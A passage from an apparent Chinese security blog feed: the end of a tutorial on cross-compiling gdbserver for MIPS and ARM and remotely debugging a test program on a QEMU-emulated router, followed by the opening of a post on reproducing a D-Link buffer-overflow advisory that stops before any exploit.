keyword">for</span> library containing dlopen<span class="token punctuation">..</span>. none requiredchecking whether to use expat<span class="token punctuation">..</span>. autochecking <span class="token keyword">for</span> libexpat<span class="token punctuation">..</span>. noconfigure: WARNING: expat is missing or unusable<span class="token punctuation">;</span> some features may be unavailable.checking <span class="token keyword">for</span> libgmp<span class="token punctuation">..</span>. noconfigure: error: GMP is missing or unusablemake<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>: *** <span class="token punctuation">[</span>Makefile:12161：configure-gdb<span class="token punctuation">]</span> 错误 <span class="token number">1</span>make<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>: 离开目录“/home/wyy/下载/gdb-13.2”make: *** <span class="token punctuation">[</span>Makefile:1006：all<span class="token punctuation">]</span> 错误 <span class="token number">2</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>说明缺少 GMP，首先安装一下 GMP：（以 GMP v6.1.2 为例）</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> m4   <span class="token comment"># 安装依赖</span><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> libgmp-dev   <span class="token comment"># 安装 gmp 库</span><span class="token function">wget</span> https://gmplib.org/download/gmp/gmp-6.1.2.tar.xz<span class="token function">sudo</span> <span class="token function">tar</span> <span class="token parameter variable">-xf</span> gmp-6.1.2.tar.xz<span class="token builtin class-name">cd</span> gmp-6.1.2<span class="token function">sudo</span> ./configure --enable-cxx <span class="token comment"># --enable-cxx: 配置 GMP 时，默认情况下不启用 C++ 支持，开启后还将安装 gmpxx.h header 以及 libgmpxx.dylib 和 / 或 libgmpxx.a 库</span> <span class="token comment"># 默认路径为 /user/local，也可以用 --prefix=/path_to_install 指定安装路径</span><span class="token function">sudo</span> <span class="token function">make</span> -j<span class="token variable"><span class="token variable">$(</span>nproc<span class="token variable">)</span></span><span class="token function">sudo</span> <span class="token function">make</span> check<span class="token function">sudo</span> <span class="token function">make</span> <span class="token function">install</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>如果自己指定了安装路径，添加一下环境变量：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 如果使用的是 bash 终端则打开 ~/.bashrc</span><span class="token function">sudo</span> gedit ~/.zshrc<span class="token comment"># 在文件最后加入如下两个---之间的内容，记得将路径改为自己的</span><span class="token comment"># 例如安装在 /opt/gmp-6.1.2 下</span>----------------------------------------------------<span class="token builtin class-name">export</span> <span class="token assign-left variable">LD_LIBRARY_PATH</span><span class="token operator">=</span>/opt/gmp-6.1.2/lib:<span class="token variable">$LD_LIBRARY_PATH</span>----------------------------------------------------<span class="token comment"># 使环境变量生效</span><span class="token builtin class-name">source</span> ~/.zshrc<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>编写以下程序测试一下 GMP 的安装：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token comment">// 这是用 GMP 实现的一个简单的多精度整数加法器，读取两个大整数，并输出它们的和</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;iostream></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;gmpxx.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span> <span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    mpz_t a<span class="token punctuation">,</span>b<span class="token punctuation">,</span>c<span class="token punctuation">;</span>    <span class="token function">mpz_init</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">mpz_init</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">mpz_init</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">gmp_scanf</span><span class="token punctuation">(</span><span class="token string">"%Zd%Zd"</span><span class="token punctuation">,</span>a<span class="token punctuation">,</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">mpz_add</span><span class="token punctuation">(</span>c<span class="token punctuation">,</span>a<span class="token punctuation">,</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">gmp_printf</span><span class="token punctuation">(</span><span class="token string">"%Zd\n"</span><span class="token punctuation">,</span>c<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">mpz_clear</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">mpz_clear</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">mpz_clear</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>编译运行：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">g++ test.cpp <span class="token parameter variable">-lgmp</span> <span class="token parameter variable">-lgmpxx</span> <span class="token parameter variable">-o</span> <span class="token builtin class-name">test</span>./test<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>如果程序正常运行，说明 GMP 正常安装</p><p>默认的安装路径如下：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">/usr/local/include/usr/local/lib<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E5%9B%BA%E4%BB%B6%E4%BB%BF%E7%9C%9F%E4%B8%8E%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%952.png" alt="IOT固件仿真与远程调试2.png"></p><p>但是编译 gdbserver 时依然报相同的错误：<code>&quot;configure: error: GMP is missing or unusable&quot;</code></p><p>然后又尝试了网上所说的两种方式来指定 GMP 安装路径，还是报 GMP 找不到的错误：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 清理缓存，避免与之前的编译配置冲突，如果清理后还是冲突，请重新解压 GDB 源码</span><span class="token function">sudo</span> <span class="token function">make</span> distclean<span class="token comment"># 默认安装时，/gmp/include/path 为 /usr/local/include，/gmp/include/path 为 /usr/local/lib</span><span class="token assign-left variable">CC</span><span class="token operator">=</span><span class="token string">"mipsel-linux-gnu-gcc"</span> <span class="token assign-left variable">CXX</span><span class="token operator">=</span><span class="token string">"mipsel-linux-gnu-g++"</span> ./configure <span class="token parameter variable">--target</span><span class="token operator">=</span><span class="token string">"mipsel-linux-gnu"</span> <span class="token parameter variable">--host</span><span class="token operator">=</span><span class="token string">"mipsel-linux-gnu"</span> <span class="token parameter variable">--prefix</span><span class="token operator">=</span><span class="token string">"/home/wyy/下载/gdb-13.2/gdb13.2_mipsel/gdbserver/build/"</span> <span class="token assign-left variable">LDFLAGS</span><span class="token operator">=</span><span class="token string">"-static"</span> <span class="token assign-left variable">CFLAGS</span><span class="token operator">=</span><span class="token string">"-I/gmp/include/path -L/gmp/lib/path"</span> <span class="token assign-left variable">CXXFLAGS</span><span class="token operator">=</span><span class="token string">"-I/gmp/include/path -L/gmp/lib/path"</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 清理缓存，避免与之前的编译配置冲突，如果清理后还是冲突，请重新解压 GDB 源码</span><span class="token function">sudo</span> <span class="token function">make</span> distclean<span class="token assign-left variable">CC</span><span class="token operator">=</span><span class="token string">"mipsel-linux-gnu-gcc"</span> <span class="token assign-left variable">CXX</span><span class="token operator">=</span><span class="token string">"mipsel-linux-gnu-g++"</span> ./configure <span class="token parameter variable">--target</span><span class="token operator">=</span><span class="token string">"mipsel-linux-gnu"</span> <span class="token parameter variable">--host</span><span class="token operator">=</span><span class="token string">"mipsel-linux-gnu"</span> <span class="token parameter variable">--prefix</span><span class="token operator">=</span><span class="token string">"/home/wyy/下载/gdb-13.2/gdb13.2_mipsel/gdbserver/build/"</span> --with-gmp<span class="token operator">=</span><span class="token string">"/usr/local"</span> <span class="token assign-left variable">LDFLAGS</span><span class="token operator">=</span><span class="token string">"-static"</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>后来无意间发现在原本就有的 <code>gdb-13.2/gdbserver/</code> 路径下已经生成了 <code>mipsel</code> 架构的 gdbserver 二进制文件：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E5%9B%BA%E4%BB%B6%E4%BB%BF%E7%9C%9F%E4%B8%8E%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%954.png" alt="IOT固件仿真与远程调试4.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E5%9B%BA%E4%BB%B6%E4%BB%BF%E7%9C%9F%E4%B8%8E%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%953.png" alt="IOT固件仿真与远程调试3.png"></p><p>再后来，找到一个网站说明了这个问题：<a href="https://forums.100ask.net/t/topic/667/2">GDB。编译gdbserver出现错误 - NXP &#x2F; IMX6ULL_PRO - 嵌入式开发问答社区</a></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E5%9B%BA%E4%BB%B6%E4%BB%BF%E7%9C%9F%E4%B8%8E%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%955.png" alt="IOT固件仿真与远程调试5.png"></p><p>好家伙，我直呼好家伙，自作多情了属于是。。。</p><p>直接无视 <code>&quot;configure: error: GMP is missing or unusable&quot;</code> 即可，直接重来一遍：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 清理缓存，避免与之前的编译配置冲突，如果清理后还是冲突，请重新解压 GDB 源码</span><span class="token function">sudo</span> <span class="token function">make</span> distclean<span class="token assign-left variable">CC</span><span class="token operator">=</span><span class="token string">"mipsel-linux-gnu-gcc"</span> <span class="token assign-left variable">CXX</span><span class="token operator">=</span><span class="token string">"mipsel-linux-gnu-g++"</span> ./configure <span class="token parameter variable">--target</span><span class="token operator">=</span><span class="token string">"mipsel-linux-gnu"</span> <span class="token parameter variable">--host</span><span class="token operator">=</span><span class="token string">"mipsel-linux-gnu"</span> <span class="token parameter variable">--prefix</span><span class="token operator">=</span><span class="token string">"/home/wyy/下载/gdb-13.2/gdb13.2_mipsel/gdbserver/build/"</span> <span class="token assign-left variable">LDFLAGS</span><span class="token operator">=</span><span class="token string">"-static"</span><span class="token function">sudo</span> <span class="token function">make</span> -j<span class="token variable"><span class="token variable">$(</span>nproc<span class="token variable">)</span></span><span class="token function">sudo</span> <span class="token function">make</span> <span class="token function">install</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>不知道为什么，我有一天再次执行 <code>configure</code> 编译 MIPS 架构 gdbserver 的时候又不报 <code>&quot;configure: error: GMP is missing or unusable&quot;</code> 这个错误了，我也不知道这期间我做了些什么，<strong>也许是安装 GMP 后需要重启？</strong></p><p>反正很离奇。。。</p><p>不过编译过程中还是会有其他的报错，不过无关紧要，无视即可，只要执行完后 <code>gdb-13.2/gdb13.2_mipsel/gdbserver/build/</code> 路径下存在 <code>bin</code> 文件夹即可</p></blockquote><p>执行完成后在 <code>gdb-13.2/gdb13.2_mipsel/gdbserver/build/bin</code> 路径下会生成一个 <code>gdbserver</code> 二进制程序，它是 MIPS 架构（<code>mipsel</code>），须在 MIPS 架构的 IoT 设备上运行：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E5%9B%BA%E4%BB%B6%E4%BB%BF%E7%9C%9F%E4%B8%8E%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%956.png" alt="IOT固件仿真与远程调试6.png"></p><hr><h3 id="ARM-架构"><a href="#ARM-架构" class="headerlink" title="ARM 架构"></a>ARM 架构</h3><p>下面以编译 ARM 架构下的 gdbserver 为例（<code>arm</code>）</p><p>首先下载 GDB 源码并解压：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">wget</span> https://ftp.gnu.org/gnu/gdb/gdb-13.2.tar.gz<span class="token function">tar</span> zxvf gdb-13.2.tar.gz<span class="token builtin class-name">cd</span> gdb-13.2/<span class="token function">mkdir</span> gdb13.2_arm<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>注意：<strong>由于是编译 ARM 架构的 gdbserver，因此需要使用交叉编译工具</strong></p><blockquote><p>关于如何配置 ARM 交叉编译环境的具体说明，详见本站的《<a href="bb411a4c.html">多架构与交叉编译</a>》一文 ，这里不再详细说明</p></blockquote><h4 id="编译-GDB-1"><a href="#编译-GDB-1" class="headerlink" title="编译 GDB"></a>编译 GDB</h4><p>编译安装：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 由于 GDB 是本机用来连接远程 IoT 设备的 gdbserver 的，所以不用指定 --host 选项和 CC 以及 CXX 变量的值，configure 会自动检测（即：本机运行不需要交叉编译）</span>./configure <span class="token parameter variable">--target</span><span class="token operator">=</span><span class="token string">"arm-linux-gnueabihf"</span> <span class="token parameter variable">--prefix</span><span class="token operator">=</span><span class="token string">"/home/wyy/下载/gdb-13.2/gdb13.2_arm/gdb/build/"</span><span class="token function">sudo</span> <span class="token function">make</span> -j<span class="token variable"><span class="token variable">$(</span>nproc<span class="token variable">)</span></span><span class="token function">sudo</span> <span class="token function">make</span> <span class="token function">install</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>执行完成后在 <code>gdb-13.2/gdb13.2_arm/gdb/build/bin</code> 路径下会生成一个 <code>arm-linux-gnueabihf-gdb</code> 二进制程序，它是 x86 架构，可以直接在本机运行：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E5%9B%BA%E4%BB%B6%E4%BB%BF%E7%9C%9F%E4%B8%8E%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%958.png" alt="IOT固件仿真与远程调试8.png"></p><hr><h4 id="编译-gdbserver-1"><a href="#编译-gdbserver-1" class="headerlink" title="编译 gdbserver"></a>编译 gdbserver</h4><p>编译安装：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 清理缓存，避免与之前的编译配置冲突，如果清理后还是冲突，请重新解压 GDB 源码</span><span class="token function">sudo</span> <span class="token function">make</span> distclean<span class="token comment"># gdbserver 运行在 IoT 设备，因此需要使用交叉编译器</span><span class="token assign-left variable">CC</span><span class="token operator">=</span><span class="token string">"arm-linux-gnueabihf-gcc"</span> <span class="token assign-left variable">CXX</span><span class="token operator">=</span><span class="token string">"arm-linux-gnueabihf-g++"</span> ./configure <span class="token parameter variable">--target</span><span class="token operator">=</span><span class="token string">"arm-linux-gnueabihf"</span> <span class="token parameter variable">--host</span><span class="token operator">=</span><span class="token string">"arm-linux-gnueabihf"</span> <span class="token parameter variable">--prefix</span><span class="token operator">=</span><span class="token string">"/home/wyy/下载/gdb-13.2/gdb13.2_arm/gdbserver/build"</span> <span class="token assign-left variable">LDFLAGS</span><span class="token operator">=</span><span class="token string">"-static"</span><span class="token function">sudo</span> <span class="token function">make</span> -j<span class="token variable"><span class="token variable">$(</span>nproc<span class="token variable">)</span></span><span class="token function">sudo</span> <span class="token function">make</span> <span class="token function">install</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p><strong>如果是旧版本的 GDB 源码，可能需要先进入 gdbserver 目录下</strong>，路径通常为 <code>gdb-xxx/gdb/gdbserver</code>，然后再执行上述 <code>configure</code> 命令</p></blockquote><p>如果编译过程中报错：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">configure: error: *** A compiler with support <span class="token keyword">for</span> C++11 language features is required.<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>说明安装的 GCC 交叉编译工具版本太低，不支持 C++11，重新安装更新的版本即可</p><blockquote><p>注意：</p><p>编译过程中可能还是会有报错，无视即可，只要执行完后 <code>gdb-13.2/gdb13.2_arm/gdbserver/build/</code> 路径下存在 <code>bin</code> 文件夹即可</p></blockquote><p>执行完成后在 <code>gdb-13.2/gdb13.2_arm/gdbserver/build/bin</code> 路径下会生成一个 <code>gdbserver</code> 二进制程序，它是 ARM 架构，须在 ARM 架构的 IoT 设备上运行：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E5%9B%BA%E4%BB%B6%E4%BB%BF%E7%9C%9F%E4%B8%8E%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%9510.png" alt="IOT固件仿真与远程调试10.png"></p><hr><h2 id="上传-gdbserver-并远程连接"><a href="#上传-gdbserver-并远程连接" class="headerlink" title="上传 gdbserver 并远程连接"></a>上传 gdbserver 并远程连接</h2><p>因为这里主要是做个示例，我们自己交叉编译一个 ARM 架构的二进制程序：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">int</span> a<span class="token punctuation">,</span> b<span class="token punctuation">,</span> sum<span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"put a:"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">scanf</span><span class="token punctuation">(</span><span class="token string">"%d"</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"put b:"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">scanf</span><span class="token punctuation">(</span><span class="token string">"%d"</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span>    sum <span class="token operator">=</span> a <span class="token operator">+</span> b<span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"a + b = %d"</span><span class="token punctuation">,</span> sum<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>交叉编译：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">arm-linux-gnueabihf-gcc test.c <span class="token parameter variable">-o</span> gdbserver_test <span class="token parameter variable">-static</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E5%9B%BA%E4%BB%B6%E4%BB%BF%E7%9C%9F%E4%B8%8E%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%957.png" alt="IOT固件仿真与远程调试7.png"></p><blockquote><p>关于如何配置 ARM 交叉编译环境的具体说明，详见本站的《<a href="bb411a4c.html">多架构与交叉编译</a>》一文 ，这里不再详细说明</p></blockquote><p>我们将前面编译好的 ARM 架构下的 gdbserver 和交叉编译的程序 gdbserver_test 上传到路由器的文件系统内</p><p>以本文的《<a href="40df1975.html#%E4%BD%BF%E7%94%A8-QEMU-%E4%BB%BF%E7%9C%9F">使用 QEMU 仿真</a>》一节中仿真的 Cisco 路由器 <code>RV34X-v1.0.03.29-2022-10-17-13-45-34-PM.img</code> 固件为例 ，这里不再进行仿真的教程</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">scp</span> <span class="token parameter variable">-r</span> gdbserver gdbserver_test root@192.168.2.2:~/rootfs<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>然后我们 SSH 连接上 QEMU 虚拟机，并给执行权限：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">ssh</span> root@192.168.2.2<span class="token builtin class-name">cd</span> rootfs<span class="token function">chmod</span> +x gdbserver<span class="token function">chmod</span> +x gdbserver_test<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E5%9B%BA%E4%BB%B6%E4%BB%BF%E7%9C%9F%E4%B8%8E%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%9511.png" alt="IOT固件仿真与远程调试11.png"></p><p>用 gdbserver 启动被调试程序，格式为：<code>gdbserver路径 IP地址:端口号 被调试程序</code></p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 端口号范围：0 ~ 65535，尽量避免端口冲突</span>./gdbserver <span class="token number">127.0</span>.0.1:6666 ./gdbserver_test<span class="token comment"># 也可以写成如下形式：</span>./gdbserver :6666 ./gdbserver_test./gdbserver <span class="token number">192.168</span>.2.2:6666 ./gdbserver_test<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E5%9B%BA%E4%BB%B6%E4%BB%BF%E7%9C%9F%E4%B8%8E%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%9512.png" alt="IOT固件仿真与远程调试12.png"></p><p>然后在宿主机使用 GDB 连接远程端口，这里介绍两种方式：</p><ol><li>第一种方式是使用我们前面自己编译的 <code>arm-linux-gnueabihf-gdb</code>（这样一定能保证 GDB 与 gdbserver 版本是一致的）：</li></ol><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">./arm-linux-gnueabihf-gdb<span class="token punctuation">(</span>arm-linux-gnueabihf-gdb<span class="token punctuation">)</span> target remote <span class="token number">192.168</span>.2.2:6666<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E5%9B%BA%E4%BB%B6%E4%BB%BF%E7%9C%9F%E4%B8%8E%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%9513.png" alt="IOT固件仿真与远程调试13.png"></p><p>QEMU 虚拟机也显示远程调试被连接：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E5%9B%BA%E4%BB%B6%E4%BB%BF%E7%9C%9F%E4%B8%8E%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%9514.png" alt="IOT固件仿真与远程调试14.png"></p><p>然后下断点尝试调试 gdbserver_test 程序：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">(</span>arm-linux-gnueabihf-gdb<span class="token punctuation">)</span>  b main<span class="token punctuation">(</span>arm-linux-gnueabihf-gdb<span class="token punctuation">)</span>  c<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><blockquote><p>注意：</p><p>由于待调试的程序实际已在 QEMU 虚拟机上运行了（因为我们使用了 gdbserver 来启动被调试程序），所以宿主机的 GDB 要使用 <code>&#39;c&#39;</code> 指令，不能使用 <code>&#39;r&#39;</code> 指令</p><p>如果输入 <code>&#39;r&#39;</code> 指令，会看到提示 remote 模式下不支持 <code>&#39;r&#39;</code> 指令：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E5%9B%BA%E4%BB%B6%E4%BB%BF%E7%9C%9F%E4%B8%8E%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%9515.png" alt="IOT固件仿真与远程调试15.png"></p></blockquote><p>可以看到程序正常断在 <code>main()</code> 函数，已经可以正常调试了：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E5%9B%BA%E4%BB%B6%E4%BB%BF%E7%9C%9F%E4%B8%8E%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%9516.png" alt="IOT固件仿真与远程调试16.png"></p><ol start="2"><li>另一种方法当然就是使用 <code>gdb-multiarch</code> 了（要不然我们安装它干嘛嘿嘿嘿）</li></ol><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 运行 gdb-multiarch</span>gdb-multiarch<span class="token comment"># 设置架构</span><span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> <span class="token builtin class-name">set</span> architecture arm<span class="token comment"># 远程连接</span><span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> target remote <span class="token number">192.168</span>.2.2:6666<span class="token comment"># 调试</span><span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> b main<span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> c<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看到，其实 <code>gdb-multiarch</code> 操作起来与 <code>arm-linux-gnueabihf-gdb</code> 几乎是一样的</p><p>只是，<code>gdb-multiarch</code> 需要单独指定架构，因为它支持多架构，而 <code>arm-linux-gnueabihf-gdb</code> 是我们自己编译的专门用于 ARM 架构的 GDB</p><blockquote><p>除此之外，还有个区别就是：</p><p><code>gdb-multiarch</code> 的版本与本机自带的 GDB 版本一致，而 <code>arm-linux-gnueabihf-gdb</code> 的版本取决于我们编译的时候用的是哪个版本的 GDB 源码，因此 <code>arm-linux-gnueabihf-gdb</code> 的灵活性更高，可以根据我们的需求选择 GDB 版本</p></blockquote><hr>]]></content>
    
    
    <summary type="html">主要涉及到如何对 IoT 固件进行仿真，如果我们没有真实的设备，可以使用 QEMU 或者 GNS3 对固件进行模拟，确保启动我们需要的服务，最后编译并使用 gdbserver 进行 IoT 设备的远程调试</summary>
    
    
    
    <category term="IoT固件分析" scheme="https://www.uf4te.cn/categories/IoT%E5%9B%BA%E4%BB%B6%E5%88%86%E6%9E%90/"/>
    
    
    <category term="QEMU" scheme="https://www.uf4te.cn/tags/QEMU/"/>
    
    <category term="GDB" scheme="https://www.uf4te.cn/tags/GDB/"/>
    
    <category term="IoT" scheme="https://www.uf4te.cn/tags/IoT/"/>
    
    <category term="交叉编译" scheme="https://www.uf4te.cn/tags/%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%91/"/>
    
    <category term="GNS3" scheme="https://www.uf4te.cn/tags/GNS3/"/>
    
  </entry>
  
  <entry>
    <title>CNVD-2013-11625复现</title>
    <link href="https://www.uf4te.cn/posts/c2233a9.html"/>
    <id>https://www.uf4te.cn/posts/c2233a9.html</id>
    <published>2024-06-12T13:03:01.000Z</published>
    <updated>2026-03-02T08:59:35.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="CNVD-2013-11625"><a href="#CNVD-2013-11625" class="headerlink" title="CNVD-2013-11625"></a>CNVD-2013-11625</h1><blockquote><p>参考文章：</p><ol><li><a href="https://bbs.kanxue.com/thread-272318.htm">[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com</a>  </li><li><a href="https://cn-sec.com/archives/1899323.html#google_vignette">D-Link路由器CNVD-2013-11625缓冲区溢出漏洞复现 | CN-SEC 中文网</a></li></ol></blockquote><h2 id="漏洞信息"><a href="#漏洞信息" class="headerlink" title="漏洞信息"></a>漏洞信息</h2><blockquote><p>D-Link DIR-645 <code>&quot;post_login.xml&quot;</code>，<code>&quot;hedwig.cgi&quot;</code>，<code>&quot;authentication.cgi&quot;</code> 不正确过滤用户提交的参数数据，允许远程攻击者利用漏洞提交特制请求触发缓冲区溢出，可使应用程序停止响应，造成拒绝服务攻击。</p></blockquote><p>2013 年，D-Link DIR-645 无线路由器被爆出存在缓冲区溢出漏洞，远程攻击者通过向该无线路由器的 <code>&quot;post_login.xml&quot;</code>、<code>&quot;hedwig.cgi&quot;</code>、<code>&quot;authentication.cgi&quot;</code> 等接口提交特制请求即可触发缓冲区溢出，可使应用程序停止响应，造成拒绝服务攻击，漏洞编号为 CNVD-2013-11625</p><p>后经安全研究员分析发现，该漏洞同时影响 D-LINK 的 DIR-815&#x2F;300&#x2F;600&#x2F;645 型号路由器设备</p><p>漏洞详情：<a href="https://www.cnvd.org.cn/flaw/show/CNVD-2013-11625">CNVD-2013-11625 | 国家信息安全漏洞共享平台</a></p><hr><h2 id="复现工具"><a href="#复现工具" class="headerlink" title="复现工具"></a>复现工具</h2><table><thead><tr><th align="left">名称</th><th align="left">版本</th></tr></thead><tbody><tr><td align="left">OS（宿主机）</td><td align="left">Kali Linux 2024.1</td></tr><tr><td align="left">QEMU</td><td align="left">8.2.1</td></tr><tr><td align="left">binwalk</td><td align="left">2.3.3</td></tr><tr><td align="left">GDB &amp; gdbserver</td><td align="left">13.2</td></tr></tbody></table><hr><h2 id="复现漏洞"><a href="#复现漏洞" class="headerlink" title="复现漏洞"></a>复现漏洞</h2><h3 